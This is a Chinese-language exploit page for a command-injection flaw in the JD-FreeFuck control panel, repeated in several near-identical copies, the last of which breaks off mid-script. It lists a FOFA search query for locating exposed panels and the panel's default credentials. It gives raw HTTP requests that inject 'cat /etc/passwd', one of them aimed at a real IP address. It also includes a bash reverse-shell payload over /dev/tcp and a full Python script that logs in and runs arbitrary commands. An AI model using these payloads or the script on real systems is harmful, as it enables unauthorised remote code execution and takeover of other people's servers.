JD-FreeFuck_後台命令執行漏洞

090

# JD-FreeFuck 後台命令執行漏洞

==FOFA==

title="京东薅羊毛控制面板"
==默認帳號密碼==
 
useradmin/supermanito
===漏洞利用==
 發送如下請求包執行命令：
 
POST /runCmd HTTP/1.1
Host: 101.200.189.251:5678
Content-Length: 50
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: connect.0.6356777726800276=s%3Av1W6DxlSqnPpVgvMCItxElFeKI1Psh4i.eE4ORs0Yz30N0TOg1pUVpOqrpIHyrqIimuXJVO8lE7U
Connection: close

cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&delay=500
其中 cmd 參數存在命令注入。

==Getshell==

cmd=bash+jd.sh+%3Bbash+-c+'exec+bash+-i+%26%3E%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F9999+%3C%261'%3B+now&delay=500
==參考==

https://www.secquan.org/Discuss/1071932#reply3

https://mp.weixin.qq.com/s/MEcuSnroUh6z3wp9Mi_OkA

==FOFA==

title="京东薅羊毛控制面板"
==默認帳號密碼==
 
useradmin/supermanito
==漏洞利用==
 發送如下請求包執行命令：
 
POST /runCmd HTTP/1.1
Host: 101.200.189.251:5678
Content-Length: 50
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: connect.0.6356777726800276=s%3Av1W6DxlSqnPpVgvMCItxElFeKI1Psh4i.eE4ORs0Yz30N0TOg1pUVpOqrpIHyrqIimuXJVO8lE7U
Connection: close

cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&delay=500
其中 cmd 參數存在命令注入。

==Getshell==

cmd=bash+jd.sh+%3Bbash+-c+'exec+bash+-i+%26%3E%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F9999+%3C%261'%3B+now&delay=500
==參考==

https://www.secquan.org/Discuss/1071932#reply3

https://mp.weixin.qq.com/s/MEcuSnroUh6z3wp9Mi_OkA

==FOFA==

title="京东薅羊毛控制面板"
==默認帳號密碼== 
useradmin/supermanito
==漏洞利用==

發送如下請求包執行命令：
 
POST /runCmd HTTP/1.1
Host: 101.200.189.251:5678
Content-Length: 50
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: connect.0.6356777726800276=s%3Av1W6DxlSqnPpVgvMCItxElFeKI1Psh4i.eE4ORs0Yz30N0TOg1pUVpOqrpIHyrqIimuXJVO8lE7U
Connection: close

cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&delay=500

其中 cmd 參數存在命令注入。

==Getshell==

cmd=bash+jd.sh+%3Bbash+-c+'exec+bash+-i+%26%3E%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F9999+%3C%261'%3B+now&delay=500
==參考==

https://www.secquan.org/Discuss/1071932#reply3

https://mp.weixin.qq.com/s/MEcuSnroUh6z3wp9Mi_OkA
==FOFA==

title="京东薅羊毛控制面板"
==默認帳號密碼== 
useradmin/supermanito
==漏洞利用==

發送如下請求包執行命令：
 
POST /runCmd HTTP/1.1
Host: XXX.XXX.XXX.XXX:5678
Content-Length: 50
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: connect.0.6356777726800276=s%3Av1W6DxlSqnPpVgvMCItxElFeKI1Psh4i.eE4ORs0Yz30N0TOg1pUVpOqrpIHyrqIimuXJVO8lE7U
Connection: close

cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&delay=500

其中 cmd 參數存在命令注入。
 ==Getshell==

cmd=bash+jd.sh+%3Bbash+-c+'exec+bash+-i+%26%3E%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F9999+%3C%261'%3B+now&delay=500

== POC & EXP ==

import requests

import json

def login(url,username=”useradmin”,password=”supermanito”):

    loginReq = requests.Session()

    payload = {

            “username”:username,

            “password”:password

            }

    headers1 = {

        “Accept”: “*/*”,

        “User-Agent”:”Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36″,

        “Content-Type”:”application/x-www-form-urlencoded; charset=UTF-8″,

        “Accept-Encoding”: “gzip, deflate”,

        “Accept-Language”: “zh-CN,zh;q=0.9”

    }

    headers = {

        “Accept”: “*/*”,

        “X-Requested-With”: “XMLHttpRequest”,

        “User-Agent”:”Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36″,

        “Content-Type”:”application/x-www-form-urlencoded; charset=UTF-8″,

        “Origin”: url,

        “Referer”: url,

        “Accept-Encoding”: “gzip, deflate”,

        “Accept-Language”: “zh-CN,zh;q=0.9”

    }

    loginReq.get(url, headers=headers1)

    content = loginReq.post(url + “auth”,data=payload,headers=headers)

    response = json.loads(content.text)

    # print(response[“err”])

    # print(loginReq.cookies)

    if response[“err”] == 0:

        print(“login success”)

        return(loginReq)

    else:

        print(“login failure”)

        raise RuntimeError(“Can’t login,beacuse -> “+response[“msg”])

def exploit(url,session,command):

    ”’ POST form looks like

    POST /runCmd HTTP/1.1

    Host: XXX.XXX.XXX.XXXX:5678

    Content-Length: 51

    Accept: */*

    X-Requested-With: XMLHttpRequest

    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

    Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    Accept-Encoding: gzip, deflate

    Accept-Language: zh-CN,zh;q=0.9

    Cookie: connect.0.3349226518321824=s%3AWfJDGLRc0_vdAuXSWDOYku1qMSLXcZjv.vr52DLelVmWNvsY2q7SQCH%2B8KmDzT0ds2eRw7Fay0Sc

    Connection: close

    cmd=bash+jd.sh+bean_change%3Bifconfig%3B&delay=1000

    ”’

    headers = {

        “Accept”: “*/*”,

        “X-Requested-With”: “XMLHttpRequest”,

        “User-Agent”:”Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36″,

        “Content-Type”:”application/x-www-form-urlencoded; charset=UTF-8″,

        “Accept-Encoding”: “gzip, deflate”,

        “Accept-Language”: “zh-CN,zh;q=0.9”,

        “Connection”: “close”

    }

    datas = {

        “cmd”:”bash+jd.sh+bean_change;”+command+”;”,

        “delay”:”1000″

    }

    session.get(url+”home”,headers=headers)

    session.get(url+”run”,headers=headers)

    session.get(url+”runCmd”,headers=headers)

    response = session.post(url+”runCmd”,data=datas,headers=headers)

    # print(session.cookies)

    objectResponse = json.loads(response.text)

    # print(objectResponse)

    if objectResponse[“err”] == 0:

        print(“execute success”,”\n”)

        print(“$ “+command)

        for line in objectResponse[“msg”].split(“\n”)[1:-1]:

            print(line)

    else:

        print(“execute failure”)

        raise RuntimeError(“Can’t execute –> “+objectResponse[“msg”])

url = “http://ip:port/”

exploit(url,login(url),”ifconfig”)

==參考==

https://www.secquan.org/Discuss/1071932#reply3

https://mp.weixin.qq.com/s/MEcuSnroUh6z3wp9Mi_OkA
==FOFA==

title="京东薅羊毛控制面板"
==默認帳號密碼== 
useradmin/supermanito
==漏洞利用==

發送如下請求包執行命令：
 
POST /runCmd HTTP/1.1
Host: XXX.XXX.XXX.XXX:5678
Content-Length: 50
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: connect.0.6356777726800276=s%3Av1W6DxlSqnPpVgvMCItxElFeKI1Psh4i.eE4ORs0Yz30N0TOg1pUVpOqrpIHyrqIimuXJVO8lE7U
Connection: close

cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&delay=500

其中 cmd 參數存在命令注入。
 ==Getshell==

cmd=bash+jd.sh+%3Bbash+-c+'exec+bash+-i+%26%3E%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F9999+%3C%261'%3B+now&delay=500

== POC & EXP ==

import requests

import json

def login(url,username="useradmin",password="supermanito"):

    loginReq = requests.Session()

    payload = {

            "username":username,

            "password":password

            }

    headers1 = {

        "Accept": "*/*",

        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",

        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",

        "Accept-Encoding": "gzip, deflate",

        "Accept-Language": "zh-CN,zh;q=0.9"

    }

    headers = {

        "Accept": "*/*",

        "X-Requested-With": "XMLHttpRequest",

        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",

        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",

        "Origin": url,

        "Referer": url,

        "Accept-Encoding": "gzip, deflate",

        "Accept-Language": "zh-CN,zh;q=0.9"

    }

    loginReq.get(url, headers=headers1)

    content = loginReq.post(url + "auth",data=payload,headers=headers)

    response = json.loads(content.text)

    # print(response["err"])

    # print(loginReq.cookies)

    if response["err"] == 0:

        print("login success")

        return(loginReq)

    else:

        print("login failure")

        raise RuntimeError("Can't login,beacuse -> "+response["msg"])

def exploit(url,session,command):

    ''' POST form looks like

    POST /runCmd HTTP/1.1

    Host: XXX.XXX.XXX.XXXX:5678

    Content-Length: 51

    Accept: */*

    X-Requested-With: XMLHttpRequest

    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

    Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    Accept-Encoding: gzip, deflate

    Accept-Language: zh-CN,zh;q=0.9

    Cookie: connect.0.3349226518321824=s%3AWfJDGLRc0_vdAuXSWDOYku1qMSLXcZjv.vr52DLelVmWNvsY2q7SQCH%2B8KmDzT0ds2eRw7Fay0Sc

    Connection: close

    cmd=bash+jd.sh+bean_change%3Bifconfig%3B&delay=1000

    '''

    headers = {

        "Accept": "*/*",

        "X-Requested-With": "XMLHttpRequest",

        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",

        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",

        "Accept-Encoding": "gzip, deflate",

        "Accept-Language": "zh-CN,zh;q=0.9",

        "Connection": "close"

    }

    datas = {

        "cmd":"bash+jd.sh+bean_change;"+command+";",

        "delay":"1000"

    }

    session.get(url+"home",headers=headers)

    session.get(url+"run",headers=headers)

    session.get(url+"runCmd",headers=headers)

    response = session.post(url+"runCmd",data=datas,headers=headers)

    # print(session.cookies)

    objectResponse = json.loads(response.text)

    # print(objectResponse)

    if objectResponse["err"] == 0:

        print("execute success","\n")

        print("$ "+command)

        for line in objectResponse["msg"].split("\n")[1:-1]:

            print(line)

    else:

        print("execute failure")

        raise RuntimeError("Can't execute --> "+objectResponse["msg"])

url = "http://ip:port/"

exploit(url,login(url),"ifconfig")
==參考==

https://www.secquan.org/Discuss/1071932#reply3

https://mp.weixin.qq.com/s/MEcuSnroUh6z3wp9Mi_OkA
==FOFA==

title="京东薅羊毛控制面板"
==默認帳號密碼== 
useradmin/supermanito
==漏洞利用==

發送如下請求包執行命令：
 
POST /runCmd HTTP/1.1
Host: XXX.XXX.XXX.XXX:5678
Content-Length: 50
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: connect.0.6356777726800276=s%3Av1W6DxlSqnPpVgvMCItxElFeKI1Psh4i.eE4ORs0Yz30N0TOg1pUVpOqrpIHyrqIimuXJVO8lE7U
Connection: close

cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&delay=500

其中 cmd 參數存在命令注入。
 ==Getshell==

cmd=bash+jd.sh+%3Bbash+-c+'exec+bash+-i+%26%3E%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F9999+%3C%261'%3B+now&delay=500

== POC & EXP ==

import requests

import json

def login(url,username="useradmin",password="supermanito"):

    loginReq = requests.Session()

    payload = {

            "username":username,

            "password":password

            }

    headers1 = {

        "Accept": "*/*",

        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",

        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",

        "Accept-Encoding": "gzip, deflate",

        "Accept-Language": "zh-CN,zh;q=0.9"

    }

    headers = {

        "Accept": "*/*",

        "X-Requested-With": "XMLHttpRequest",

        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",

        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",

        "Origin": url,

        "Referer": url,

        "Accept-Encoding": "gzip, deflate",

        "Accept-Language": "zh-CN,zh;q=0.9"

    }

    loginReq.get(url, headers=headers1)

    content = loginReq.post(url + "auth",data=payload,headers=headers)

    response = json.loads(content.text)

    # print(response["err"])

    # print(loginReq.cookies)

    if response["err"] == 0:

        print("login success")

        return(loginReq)

    else:

        print("login failure")

        raise RuntimeError("Can't login,beacuse -> "+response["msg"])

def exploit(url,session,command):

    ''' POST form looks like

    POST /runCmd HTTP/1.1

    Host: XXX.XXX.XXX.XXXX:5678

    Content-Length: 51

    Accept: */*

    X-Requested-With: XMLHttpRequest

    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

    Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    Accept-Encoding: gzip, deflate

    Accept-Language: zh-CN,zh;q=0.9

    Cookie: connect.0.3349226518321824=s%3AWfJDGLRc0_vdAuXSWDOYku1qMSLXcZjv.vr52DLelVmWNvsY2q7SQCH%2B8KmDzT0ds2eRw7Fay0Sc

    Connection: close

    cmd=bash+jd.sh+bean_change%3Bifconfig%3B&delay=1000

    '''

    headers = {

        "Accept": "*/*",

        "X-Requested-With": "XMLHttpRequest",

        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",

        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",

        "Accept-Encoding": "gzip, deflate",

        "Accept-Language": "zh-CN,zh;q=0.9",

        "Connection": "close"

    }

    datas = {

        "cmd":"bash+jd.sh+bean_change;"+command+";",

        "delay":"1000"

    }

    session.get(url+"home",headers=headers)

    session.get(url+"run",headers=headers)

    session.get(url+"runCmd",headers=headers)

    response = session.post(url+"runCmd",data=datas,headers=headers)

    # print(session.cookies)

    objectResponse = json.loads(response.text)

    # print(objectResponse)

    if objectResponse["err"] == 0:

        print("execute success","\n")

        print("$ "+command)

        for line in objectResponse["msg"].split("\n")[1:-1]:

            print(line)

    else:

        print("execute failure")

        raise RuntimeError("Can't execute --> "+objectResponse["msg"])

url = "http://ip:port/"

exploit(url,login(url),"ifconfig")
==參考==

https://www.secquan.org/Discuss/1071932#reply3

https://mp.weixin.qq.com/s/MEcuSnroUh6z3wp9Mi_OkA
==FOFA==

title="京东薅羊毛控制面板"
==默認帳號密碼== 
useradmin/supermanito
==漏洞利用==

發送如下請求包執行命令：
 
POST /runCmd HTTP/1.1
Host: XXX.XXX.XXX.XXX:5678
Content-Length: 50
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: connect.0.6356777726800276=s%3Av1W6DxlSqnPpVgvMCItxElFeKI1Psh4i.eE4ORs0Yz30N0TOg1pUVpOqrpIHyrqIimuXJVO8lE7U
Connection: close

cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&delay=500

其中 cmd 參數存在命令注入。
 ==Getshell==

cmd=bash+jd.sh+%3Bbash+-c+'exec+bash+-i+%26%3E%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F9999+%3C%261'%3B+now&delay=500

==EXP==

====Usage:====

python3 exploit.py -u http://xx.xx.xx.xx:5678 -c "command"

python3 exploit.py -u http://127.0.0.1:5678 -c "cat /etc/passwd"

import requests
import json
import sys
import argparse

def login(url,username="useradmin",password="supermanito"):
    loginReq = requests.Session()
    payload = {
            "username":username,
            "password":password
            }
    headers1 = {
        "Accept": "*/*",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9"
    }

    headers = {
        "Accept": "*/*",
        "X-Requested-With": "XMLHttpRequest",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
        "Origin": url,
        "Referer": url,
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9"
    }

    loginReq.get(url, headers=headers1)
    content = loginReq.post(url + "auth",data=payload,headers=headers)
    response = json.loads(content.text)
    # print(response["err"])
    # print(loginReq.cookies)
    if response["err"] == 0:
        print("login success")
        return(loginReq)
    else:
        print("login failure")
        raise RuntimeError("Can't login,beacuse -> "+response["msg"])

def exploit(url,session,command):
    ''' POST form looks like
    POST /runCmd HTTP/1.1
    Host: XXX.XXX.XXX.XXXX:5678
    Content-Length: 51
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: connect.0.3349226518321824=s%3AWfJDGLRc0_vdAuXSWDOYku1qMSLXcZjv.vr52DLelVmWNvsY2q7SQCH%2B8KmDzT0ds2eRw7Fay0Sc
    Connection: close

    cmd=bash+jd.sh+bean_change%3Bifconfig%3B&delay=1000
    '''
    headers = {
        "Accept": "*/*",
        "X-Requested-With": "XMLHttpRequest",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close"
    }
    datas = {
        "cmd":"bash+jd.sh+bean_change;"+command+";",
        "delay":"1000"
    }
    response = session.post(url+"runCmd",data=datas,headers=headers)
    # print(session.cookies)
    objectResponse = json.loads(response.text)
    # print(objectResponse)
    if objectResponse["err"] == 0:
        print("execute success","\n")
        print(objectResponse)
        print("$ "+command)
        for line in objectResponse["msg"].split("\n"):
            print(line)
    else:
        print("execute failure")
        raise RuntimeError("Can't execute --> "+objectResponse["msg"])

if __name__ == "__main__" :
    parser = argparse.ArgumentParser(description='this is the EXP of JD fuck')
    parser.add_argument("-u",metavar="url",type=str,help="url there, e.g: http://127.0.0.1:5678/")
    parser.add_argument("-c",metavar="command",type=str,help="execute command, e.g: ls")
    # print(sys.argv[1:])
    args = vars( parser.parse_args(sys.argv[1:]) )
    url = args["u"]
    command = args["c"]
    exploit(url,login(url),command)
==參考==

https://www.secquan.org/Discuss/1071932#reply3

https://mp.weixin.qq.com/s/MEcuSnroUh6z3wp9Mi_OkA
==FOFA==

title="京东薅羊毛控制面板"
==默認帳號密碼== 
useradmin/supermanito
==漏洞利用==

發送如下請求包執行命令：
 
POST /runCmd HTTP/1.1
Host: XXX.XXX.XXX.XXX:5678
Content-Length: 50
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: connect.0.6356777726800276=s%3Av1W6DxlSqnPpVgvMCItxElFeKI1Psh4i.eE4ORs0Yz30N0TOg1pUVpOqrpIHyrqIimuXJVO8lE7U
Connection: close

cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&delay=500

其中 cmd 參數存在命令注入。
 ==Getshell==

cmd=bash+jd.sh+%3Bbash+-c+'exec+bash+-i+%26%3E%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F9999+%3C%261'%3B+now&delay=500

==EXP==

====Usage:====

python3 exploit.py -u http://xx.xx.xx.xx:5678 -c "command"

python3 exploit.py -u http://127.0.0.1:5678 -c "cat /etc/passwd"

import requests
import json
import sys
import argparse

def login(url,username="useradmin",password="supermanito"):
    loginReq = requests.Session()
    payload = {
            "username":username,
            "password":password
            }
    headers1 = {
        "Accept": "*/*",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9"
    }

    headers = {
        "Accept": "*/*",
        "X-Requested-With": "XMLHttpRequest",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
        "Origin": url,
        "Referer": url,
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9"
    }

    loginReq.get(url, headers=headers1)
    content = loginReq.post(url + "auth",data=payload,headers=headers)
    response = json.loads(content.text)
    # print(response["err"])
    # print(loginReq.cookies)
    if response["err"] == 0:
        print("login success")
        return(loginReq)
    else:
        print("login failure")
        raise RuntimeError("Can't login,beacuse -> "+response["msg"])

def exploit(url,session,command):
    ''' POST form looks like
    POST /runCmd HTTP/1.1
    Host: XXX.XXX.XXX.XXXX:5678
    Content-Length: 51
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: connect.0.3349226518321824=s%3AWfJDGLRc0_vdAuXSWDOYku1qMSLXcZjv.vr52DLelVmWNvsY2q7SQCH%2B8KmDzT0ds2eRw7Fay0Sc
    Connection: close

    cmd=bash+jd.sh+bean_change%3Bifconfig%3B&delay=1000
    '''
    headers = {
        "Accept": "*/*",
        "X-Requested-With": "XMLHttpRequest",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close"
    }
    datas = {
        "cmd":"bash+jd.sh+bean_change;"+command+";",
        "delay":"1000"
    }
    response = session.post(url+"runCmd",data=datas,headers=headers)
    # print(session.cookies)
    objectResponse = json.loads(response.text)
    # print(objectResponse)
    if objectResponse["err"] == 0:
        print("execute success","\n")
        print(objectResponse)
        print("$ "+command)
        for line in objectResponse["msg"].split("\n"):
            print(line)
    else:
        print("execute failure")
        raise RuntimeError("Can't execute --> "+objectResponse["msg"])

if __name__ == "__main__" :
    parser = argparse.ArgumentParser(description='this is the EXP of JD fuck')
    parser.add_argument("-u",metavar="url",type=str,help="url there, e.g: http://127.0.0.1:5678/")
    parser.add_argument("-c",metavar="command",type=str,help="execute command, e.g: ls")
    # print(sys.argv[1:])
    args = vars( parser.parse_args(sys.argv[1:]) )
    url = args["u"]
    command = args["c"]
    exploit(url,login(url),command)
==參考==

https://www.secquan.org/Discuss/1071932#reply3

https://mp.weixin.qq.com/s/MEcuSnroUh6z3wp9Mi_OkA

https://github.com/Esonhugh/JD-Freefuckfucker : exp/poc
==FOFA==

title="京东薅羊毛控制面板"
==默認帳號密碼== 
useradmin/supermanito
==漏洞利用==

發送如下請求包執行命令：
 
POST /runCmd HTTP/1.1
Host: XXX.XXX.XXX.XXX:5678
Content-Length: 50
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: connect.0.6356777726800276=s%3Av1W6DxlSqnPpVgvMCItxElFeKI1Psh4i.eE4ORs0Yz30N0TOg1pUVpOqrpIHyrqIimuXJVO8lE7U
Connection: close

cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&delay=500

其中 cmd 參數存在命令注入。
 ==Getshell==

cmd=bash+jd.sh+%3Bbash+-c+'exec+bash+-i+%26%3E%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F9999+%3C%261'%3B+now&delay=500

==EXP==
====Usage:====

python3 exploit.py -u http://xx.xx.xx.xx:5678 -c "command"

python3 exploit.py -u http://127.0.0.1:5678 -c "cat /etc/passwd"

import requests
import json
import sys
import argparse

def login(url,username="useradmin",password="supermanito"):
    loginReq = requests.Session()
    payload = {
            "username":username,
            "password":password
            }
    headers1 = {
        "Accept": "*/*",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9"
    }

    headers = {
        "Accept": "*/*",
        "X-Requested-With": "XMLHttpRequest",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
        "Origin": url,
        "Referer": url,
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9"
    }

    loginReq.get(url, headers=headers1)
    content = loginReq.post(url + "auth",data=payload,headers=headers)
    response = json.loads(content.text)
    # print(response["err"])
    # print(loginReq.cookies)
    if response["err"] == 0:
        print("login success")
        return(loginReq)
    else:
        print("login failure")
        raise RuntimeError("Can't login,beacuse -> "+response["msg"])

def exploit(url,session,command):
